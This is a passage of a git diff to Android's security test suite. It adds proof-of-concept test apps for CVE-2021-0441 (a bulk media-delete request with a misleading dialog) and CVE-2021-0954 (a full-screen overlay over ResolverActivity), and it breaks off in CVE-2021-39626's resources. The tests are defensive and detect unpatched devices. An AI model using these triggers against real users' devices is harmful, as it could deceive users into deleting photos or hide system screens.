a/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/Android.bp new file mode 100644 index 00000000000..f07b5cc421e --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/Android.bp @@ -0,0 +1,39 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +android_test_helper_app { + name: "CVE-2021-0441", + defaults: [ + "cts_support_defaults", + ], + srcs: [ + "src/**/*.java", + ], + test_suites: [ + "sts", + ], + static_libs: [ + "androidx.test.core", + "androidx.test.rules", + "androidx.test.uiautomator_uiautomator", + ], + sdk_version: "current", +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/AndroidManifest.xml new file mode 100644 index 00000000000..66451bd556b --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/AndroidManifest.xml @@ -0,0 +1,35 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + package="android.security.cts.CVE_2021_0441" + android:versionCode="1" + android:versionName="1.0"> + <application + android:allowBackup="true" + android:label="@string/app_name" + android:supportsRtl="true"> + <activity android:name=".PocActivity" android:exported="true"> + <intent-filter> + <action android:name="android.intent.action.MAIN" /> + <category android:name="android.intent.category.LAUNCHER" /> + </intent-filter> + </activity> + </application> + <instrumentation + android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.CVE_2021_0441" /> +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/layout/activity_main.xml new file mode 100644 index 00000000000..7460b96ae6b --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/layout/activity_main.xml @@ -0,0 +1,26 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<LinearLayout + xmlns:android="http://schemas.android.com/apk/res/android" + android:orientation="vertical" + android:layout_width="match_parent" + android:layout_height="match_parent"> + <View + android:id="@+id/drawableview" + android:layout_width="match_parent" + android:layout_height="300dp" /> +</LinearLayout> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/values/integers.xml new file mode 100644 index 00000000000..3496d8a778f --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/values/integers.xml @@ -0,0 +1,22 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + --> + +<resources> + <integer name="pictures">200</integer> + <integer name="request_code">1</integer> + <integer name="wait_time_ms">10000</integer> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/values/strings.xml new file mode 100644 index 00000000000..9d8dd1b4319 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/values/strings.xml @@ -0,0 +1,30 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<resources> + <string name="app_name"> + CVE-2021-0441 + </string> + <string name="ui_id_alert"> + android:id/alertTitle + </string> + <string name="ui_id_message"> + android:id/message + </string> + <string name="path"> + content://media/external_primary/images/media/ + </string> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/src/android/security/cts/CVE_2021_0441/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/src/android/security/cts/CVE_2021_0441/DeviceTest.java new file mode 100644 index 00000000000..1d9c47b7acf --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/src/android/security/cts/CVE_2021_0441/DeviceTest.java @@ -0,0 +1,101 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_0441; + +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; +import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; +import static org.junit.Assume.assumeFalse; +import static org.junit.Assume.assumeNoException; +import static org.junit.Assume.assumeTrue; +import static org.junit.Assert.fail; + +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; + +import androidx.annotation.IntegerRes; +import androidx.test.runner.AndroidJUnit4; +import androidx.test.uiautomator.By; +import androidx.test.uiautomator.BySelector; +import androidx.test.uiautomator.UiDevice; +import androidx.test.uiautomator.UiObject2; +import androidx.test.uiautomator.Until; + +import java.util.List; +import java.util.regex.Pattern; + +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + Context mAppContext; + + int getInteger(@IntegerRes int resId) { + return mAppContext.getResources().getInteger(resId); + } + + String getString(@IntegerRes int resId) { + return mAppContext.getResources().getString(resId); + } + + @Test + public void testCVE_2021_0441() { + try { + UiDevice device = UiDevice.getInstance(getInstrumentation()); + mAppContext = getApplicationContext(); + PackageManager packageManager = mAppContext.getPackageManager(); + String packageName = mAppContext.getPackageName(); + final Intent intent = packageManager.getLaunchIntentForPackage(packageName); + intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK); + mAppContext.startActivity(intent); + + // Selecting all visible objects with res-id: android:id/alertTitle + Pattern patternAlert = Pattern.compile(getString(R.string.ui_id_alert)); + BySelector selectorAlert = By.res(patternAlert); + + // Selecting all visible objects with res-id: android:id/message + Pattern patternMessage = Pattern.compile(getString(R.string.ui_id_message)); + BySelector selectorMessage = By.res(patternMessage); + + boolean isAlertTitleVisible = + device.wait(Until.hasObject(selectorAlert), getInteger(R.integer.wait_time_ms)); + boolean isMessageVisible = device.wait(Until.hasObject(selectorMessage), + getInteger(R.integer.wait_time_ms)); + assumeTrue(isAlertTitleVisible || isMessageVisible); + + List<UiObject2> objectsAlertTitle = device.findObjects(selectorAlert); + List<UiObject2> objectsMessage = device.findObjects(selectorMessage); + assumeFalse(objectsAlertTitle.isEmpty() && objectsMessage.isEmpty()); + + if (!objectsAlertTitle.isEmpty() && objectsMessage.isEmpty()) { + for (UiObject2 obj : objectsAlertTitle) { + String text = obj.getText(); + if (text == null) { + continue; + } + if (text.contains(getString(R.string.app_name)) + && text.contains(Integer.toString(getInteger(R.integer.pictures)))) { + fail("Vulnerable to b/174495520 !!"); + } + } + } + } catch (Exception e) { + assumeNoException(e); + } + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/src/android/security/cts/CVE_2021_0441/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/src/android/security/cts/CVE_2021_0441/PocActivity.java new file mode 100644 index 00000000000..7c8b8fe71f9 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/src/android/security/cts/CVE_2021_0441/PocActivity.java @@ -0,0 +1,55 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_0441; + +import android.app.Activity; +import android.app.PendingIntent; +import android.content.IntentSender; +import android.net.Uri; +import android.os.Bundle; +import android.provider.MediaStore; + +import java.util.ArrayList; +import java.util.List; + +public class PocActivity extends Activity { + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.activity_main); + requestDeletePermission(getUriList(getResources().getInteger(R.integer.pictures))); + } + + ArrayList<Uri> getUriList(int capacity) { + ArrayList<Uri> list = new ArrayList<Uri>(); + for (int i = 0; i < capacity; ++i) { + Uri uri = Uri.parse(getString(R.string.path) + i); + list.add(uri); + } + return list; + } + + private void requestDeletePermission(List<Uri> uriList) { + PendingIntent pi = MediaStore.createDeleteRequest(getContentResolver(), uriList); + try { + startIntentSenderForResult(pi.getIntentSender(), + getResources().getInteger(R.integer.request_code), null, 0, 0, 0); + } catch (IntentSender.SendIntentException e) { + } + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/Android.bp index aa9f71f574b..59350cf546f 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/Android.bp +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/Android.bp @@ -1,5 +1,5 @@ /* - * Copyright (C) 2021 The Android Open Source Project + * Copyright (C) 2022 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. @@ -18,10 +18,10 @@ android_test_helper_app { name: "CVE-2021-0954", defaults: ["cts_support_defaults"], - srcs: ["src/**/*.java"], + srcs: [ + "src/**/*.java" + ], test_suites: [ - "cts", - "vts10", "sts", ], static_libs: [ diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/AndroidManifest.xml index a7e0218c422..75299c4ddfe 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/AndroidManifest.xml +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/AndroidManifest.xml @@ -1,5 +1,5 @@ <!-- - Copyright 2021 The Android Open Source Project + Copyright 2022 The Android Open Source Project Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. @@ -13,25 +13,19 @@ See the License for the specific language governing permissions and limitations under the License. --> + <manifest xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" - package="android.security.cts.cve_2021_0954" + package="android.security.cts.CVE_2021_0954" android:versionCode="1" android:versionName="1.0"> - <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" /> - - <application - android:allowBackup="true" - android:label="CVE_2021_0954" - android:supportsRtl="true"> - <uses-library android:name="android.test.runner" /> + <application> <service android:name=".PocService" android:enabled="true" - android:exported="false" /> + android:exported="true" /> </application> - <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner" - android:targetPackage="android.security.cts.cve_2021_0954" /> + android:targetPackage="android.security.cts.CVE_2021_0954" /> </manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/res/values/integers.xml new file mode 100644 index 00000000000..363df0001d7 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/res/values/integers.xml @@ -0,0 +1,21 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<resources> + <integer name="assumptionFailure">-1</integer> + <integer name="noAssumptionFailure">0</integer> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/res/values/strings.xml new file mode 100644 index 00000000000..7c4d959b70f --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/res/values/strings.xml @@ -0,0 +1,38 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright (C) 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +--> + +<resources> + <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string> + <string name="defaultSemaphoreMsg">Could not get message key in shared preferences</string> + <string name="cmdDumpsysActivity">dumpsys activity %1$s</string> + <string name="empty"></string> + <string name="overlayErrorMessage">Device is vulnerable to b/143559931 hence any app with + "SYSTEM_ALERT_WINDOW can overlay the %1$s screen</string> + <string name="mResumedTrue">mResumed=true</string> + <string name="messageKey">message</string> + <string name="overlayButtonText">OverlayButton</string> + <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string> + <string name="resultKey">result</string> + <string name="sharedPreferences">CVE_2021_0954_prefs</string> + <string name="timedOutPocActivity">Timed out waiting on a result from PocActivity</string> + <string name="vulClass">com.android.internal.app.ResolverActivity</string> + <string name="vulClassAuto">com.android.car.activityresolver.CarResolverActivity</string> + <string name="vulPkg">android</string> + <string name="vulPkgAuto">com.android.car.activityresolver</string> + <string name="vulActivityNotRunningError">The %1$s is not currently running on the device + </string> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/src/android/security/cts/CVE_2021_0954/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/src/android/security/cts/CVE_2021_0954/DeviceTest.java index f98690625e9..9a94ef953c1 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/src/android/security/cts/CVE_2021_0954/DeviceTest.java +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/src/android/security/cts/CVE_2021_0954/DeviceTest.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2021 The Android Open Source Project + * Copyright (C) 2022 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. @@ -14,17 +14,20 @@ * limitations under the License. */ -package android.security.cts.cve_2021_0954; +package android.security.cts.CVE_2021_0954; import static androidx.test.core.app.ApplicationProvider.getApplicationContext; import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; -import static org.junit.Assert.assertNotNull; -import static org.junit.Assert.assertNull; + +import static org.junit.Assert.assertTrue; import static org.junit.Assume.assumeNoException; +import static org.junit.Assume.assumeTrue; -import android.content.ActivityNotFoundException; import android.content.Context; import android.content.Intent; +import android.content.SharedPreferences; +import android.content.SharedPreferences.OnSharedPreferenceChangeListener; +import android.content.pm.PackageManager; import android.provider.Settings; import androidx.test.runner.AndroidJUnit4; @@ -32,90 +35,107 @@ import androidx.test.uiautomator.By; import androidx.test.uiautomator.UiDevice; import androidx.test.uiautomator.Until; -import org.junit.Before; import org.junit.Test; import org.junit.runner.RunWith; -import java.io.IOException; +import java.util.concurrent.Semaphore; +import java.util.concurrent.TimeUnit; import java.util.regex.Pattern; @RunWith(AndroidJUnit4.class) public class DeviceTest { - private static final String TEST_PKG = "android.security.cts.cve_2021_0954"; - private static final String TEST_VULNERABLE_PKG = "android"; - private static final String TEST_VULNERABLE_ACTIVITY = - "com.android.internal.app.ResolverActivity"; - private static final int LAUNCH_TIMEOUT_MS = 20000; - private static final String vulnerableActivityName = "ResolverActivity"; - private UiDevice mDevice; - String activityDump = ""; - - private void startOverlayService() { - Context context = getApplicationContext(); - assertNotNull(context); - Intent intent = new Intent(context, PocService.class); - assertNotNull(intent); - - if (Settings.canDrawOverlays(getApplicationContext())) { - context.startService(intent); - } else { - try { - context.startService(intent); - } catch (Exception e) { - throw new RuntimeException("Unable to start the overlay service", e); - } - } + private Context mContext = getApplicationContext(); + private static final int TIMEOUT_MS = 10000; + + private boolean hasFeature(String feature) { + return mContext.getPackageManager().hasSystemFeature(feature); } - public void startVulnerableActivity() { - Context context = getApplicationContext(); - Intent intent = new Intent(); - intent.setClassName(TEST_VULNERABLE_PKG, TEST_VULNERABLE_ACTIVITY); - intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); - try { - context.startActivity(intent); - } catch (ActivityNotFoundException e) { - assumeNoException("Activity not found on device", e); - } + private boolean isAuto() { + return hasFeature(PackageManager.FEATURE_AUTOMOTIVE); } - @Before - public void setUp() throws Exception { - mDevice = UiDevice.getInstance(getInstrumentation()); + String getStringRes(int key) { + return mContext.getResources().getString(key); + } - /* Start the vulnerable activity */ - startVulnerableActivity(); - if (!mDevice.wait(Until.hasObject(By.res("android:id/contentPanel") - .clazz("android.widget.ScrollView").pkg("android")), LAUNCH_TIMEOUT_MS)) { - return; - } + String getStringResWithArg(int key, String arg) { + return mContext.getResources().getString(key, arg); + } - /* Start the overlay service */ - startOverlayService(); + int getIntegerRes(int key) { + return mContext.getResources().getInteger(key); } @Test - public void testVulnerableActivityPresence() { - Pattern overlayTextPattern = Pattern.compile("OverlayButton", Pattern.CASE_INSENSITIVE); - if (!mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), LAUNCH_TIMEOUT_MS)) { - return; - } - - /* - * Check if the currently running activity is the vulnerable activity, if not abort the test - */ + public void testOverlayButtonPresence() { try { - activityDump = mDevice.executeShellCommand("dumpsys activity"); - } catch (IOException e) { - throw new RuntimeException("Could not execute dumpsys activity command"); - } - Pattern activityPattern = - Pattern.compile("mResumedActivity.*" + vulnerableActivityName + ".*\n"); - if (!activityPattern.matcher(activityDump).find()) { - return; + UiDevice device = UiDevice.getInstance(getInstrumentation()); + + /* Start the overlay service */ + assumeTrue(getStringRes(R.string.canNotDrawOverlaysMsg), + Settings.canDrawOverlays(mContext)); + Intent intent = new Intent(mContext, PocService.class); + mContext.startService(intent); + + /* Wait for a result from overlay service */ + SharedPreferences sharedPrefs = mContext.getSharedPreferences( + getStringRes(R.string.sharedPreferences), Context.MODE_PRIVATE); + final Semaphore preferenceChanged = new Semaphore(0); + OnSharedPreferenceChangeListener listener = new OnSharedPreferenceChangeListener() { + @Override + public void onSharedPreferenceChanged(SharedPreferences sharedPreferences, + String key) { + if (key.equals(getStringRes(R.string.resultKey))) { + preferenceChanged.release(); + } + } + }; + sharedPrefs.registerOnSharedPreferenceChangeListener(listener); + assumeTrue(preferenceChanged.tryAcquire(TIMEOUT_MS, TimeUnit.MILLISECONDS)); + int result = sharedPrefs.getInt(getStringRes(R.string.resultKey), + getIntegerRes(R.integer.assumptionFailure)); + String message = sharedPrefs.getString(getStringRes(R.string.messageKey), + getStringRes(R.string.defaultSemaphoreMsg)); + assumeTrue(message, result != getIntegerRes(R.integer.assumptionFailure)); + + /* Wait for the UI of overlay window to appear */ + Pattern overlayTextPattern = Pattern.compile( + mContext.getString(R.string.overlayButtonText), Pattern.CASE_INSENSITIVE); + assumeTrue(mContext.getString(R.string.overlayUiScreenError), + device.wait(Until.hasObject(By.text(overlayTextPattern)), TIMEOUT_MS)); + + /* Start the vulnerable activity */ + intent = new Intent(); + String vulActivity = getStringRes(R.string.vulClass); + String vulPkg = getStringRes(R.string.vulPkg); + if (isAuto()) { + vulActivity = getStringRes(R.string.vulClassAuto); + vulPkg = getStringRes(R.string.vulPkgAuto); + } + intent.setClassName(vulPkg, vulActivity); + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + mContext.startActivity(intent); + + /* Wait until the object of overlay window is gone */ + boolean overlayDisallowed = + device.wait(Until.gone(By.pkg(mContext.getPackageName())), TIMEOUT_MS); + + /* + * Check if the currently running activity is the vulnerable activity, if not abort the + * test + */ + String activityDump = device.executeShellCommand( + getStringResWithArg(R.string.cmdDumpsysActivity, vulActivity)); + Pattern activityPattern = Pattern.compile(getStringRes(R.string.mResumedTrue)); + assumeTrue(getStringRes(R.string.vulActivityNotRunningError), + activityPattern.matcher(activityDump).find()); + + /* Failing the test as fix is not present */ + assertTrue(getStringResWithArg(R.string.overlayErrorMessage, vulActivity), + overlayDisallowed); + } catch (Exception e) { + assumeNoException(e); } - String message = "Device is vulnerable to b/143559931 hence any app with " - + "SYSTEM_ALERT_WINDOW can overlay the ResolverActivity screen"; - assertNull(message, mDevice.findObject(By.text(overlayTextPattern))); } } diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/src/android/security/cts/CVE_2021_0954/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/src/android/security/cts/CVE_2021_0954/PocService.java index 82b78a2beba..79270baa65e 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/src/android/security/cts/CVE_2021_0954/PocService.java +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/src/android/security/cts/CVE_2021_0954/PocService.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2021 The Android Open Source Project + * Copyright (C) 2022 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. @@ -14,47 +14,65 @@ * limitations under the License. */ -package android.security.cts.cve_2021_0954; +package android.security.cts.CVE_2021_0954; import android.app.Service; +import android.content.Context; import android.content.Intent; +import android.content.SharedPreferences; import android.content.res.Resources; import android.graphics.PixelFormat; -import android.os.Handler; import android.os.IBinder; -import android.provider.Settings; import android.view.Gravity; import android.view.WindowManager; import android.view.WindowManager.LayoutParams; import android.widget.Button; public class PocService extends Service { - public static Button mButton; - private WindowManager mWindowManager; - private WindowManager.LayoutParams mLayoutParams; + Button mButton; + WindowManager mWindowManager; - private static int getScreenWidth() { + private int getScreenWidth() { return Resources.getSystem().getDisplayMetrics().widthPixels; } - private static int getScreenHeight() { + private int getScreenHeight() { return Resources.getSystem().getDisplayMetrics().heightPixels; } + String getStringRes(int key) { + return getResources().getString(key); + } + + int getIntegerRes(int key) { + return getResources().getInteger(key); + } + @Override public void onCreate() { - super.onCreate(); - mWindowManager = getSystemService(WindowManager.class); - mLayoutParams = new WindowManager.LayoutParams(); - mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY; - mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL - | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE; - mLayoutParams.format = PixelFormat.OPAQUE; - mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP; - mLayoutParams.width = getScreenWidth(); - mLayoutParams.height = getScreenHeight(); - mLayoutParams.x = getScreenWidth() / 2; - mLayoutParams.y = getScreenHeight() / 2; + try { + super.onCreate(); + mWindowManager = getSystemService(WindowManager.class); + LayoutParams layoutParams = new LayoutParams(); + layoutParams.type = LayoutParams.TYPE_APPLICATION_OVERLAY; + layoutParams.flags = + LayoutParams.FLAG_NOT_TOUCH_MODAL | LayoutParams.FLAG_NOT_FOCUSABLE; + layoutParams.format = PixelFormat.OPAQUE; + layoutParams.gravity = Gravity.LEFT | Gravity.TOP; + layoutParams.width = getScreenWidth(); + layoutParams.height = getScreenHeight(); + layoutParams.x = getScreenWidth() / 2; + layoutParams.y = getScreenHeight() / 2; + + /* Show the floating window */ + mButton = new Button(this); + mButton.setText(getString(R.string.overlayButtonText)); + mWindowManager.addView(mButton, layoutParams); + } catch (Exception e) { + sendTestResult(getIntegerRes(R.integer.assumptionFailure), e.getMessage()); + return; + } + sendTestResult(getIntegerRes(R.integer.noAssumptionFailure), getStringRes(R.string.empty)); } @Override @@ -63,31 +81,27 @@ public class PocService extends Service { } @Override - public int onStartCommand(Intent intent, int flags, int startId) { - showFloatingWindow(); - return super.onStartCommand(intent, flags, startId); - } - - @Override public void onDestroy() { - if (mWindowManager != null && mButton != null) { - mWindowManager.removeView(mButton); + try { + if (mWindowManager != null && mButton != null) { + mWindowManager.removeView(mButton); + } + super.onDestroy(); + } catch (Exception e) { + sendTestResult(getIntegerRes(R.integer.assumptionFailure), e.getMessage()); } - super.onDestroy(); } - private void showFloatingWindow() { - if (Settings.canDrawOverlays(this)) { - mButton = new Button(getApplicationContext()); - mButton.setText("OverlayButton"); - mWindowManager.addView(mButton, mLayoutParams); - new Handler().postDelayed(new Runnable() { - @Override - public void run() { - onDestroy(); - } - }, 60000); // one minute - mButton.setTag(mButton.getVisibility()); + private void sendTestResult(int result, String message) { + try { + SharedPreferences sh = getSharedPreferences(getStringRes(R.string.sharedPreferences), + Context.MODE_PRIVATE); + SharedPreferences.Editor edit = sh.edit(); + edit.putInt(getStringRes(R.string.resultKey), result); + edit.putString(getStringRes(R.string.messageKey), message); + edit.commit(); + } catch (Exception e) { + // ignore the exception } } } diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/Android.bp index d3e2302d280..2f87b9cdf31 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/Android.bp +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/Android.bp @@ -30,10 +30,10 @@ android_test_helper_app { test_suites: [ "sts", ], - sdk_version: "current", static_libs: [ "androidx.test.core", "androidx.test.rules", "androidx.test.uiautomator_uiautomator", ], + platform_apis: true, } diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/AndroidManifest.xml index f0978251006..74e263c53d4 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/AndroidManifest.xml +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/AndroidManifest.xml @@ -22,12 +22,8 @@ <uses-permission android:name="android.permission.BLUETOOTH"/> <uses-permission android:name="android.permission.BLUETOOTH_CONNECT"/> <uses-permission android:name="android.permission.BLUETOOTH_SCAN"/> - <application - android:testOnly="true" - android:label="CVE-2021-39626" - android:supportsRtl="true"> - <activity - android:name=".PocActivity" + <application> + <activity android:name=".PocActivity" android:exported="true"> <intent-filter> <action android:name="android.intent.action.MAIN" /> @@ -35,7 +31,6 @@ </intent-filter> </activity> </application> - <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner" android:targetPackage="android.security.cts.CVE_2021_39626" /> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/res/values/integers.xml new file mode 100644 index 00000000000..d5ae7443184 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/res/values/integers.xml @@ -0,0 +1,23 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<resources> + <integer name="assumptionFailure">-1</integer> + <integer name="pass">0</integer> + <integer name="enabled">1</integer> + <integer name="disabled">2</integer> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/res/values/strings.xml new file mode 100644 index 00000000000..e6f53e7ccc7 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/res/values/strings.xml @@ -0,0 +1,28 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the 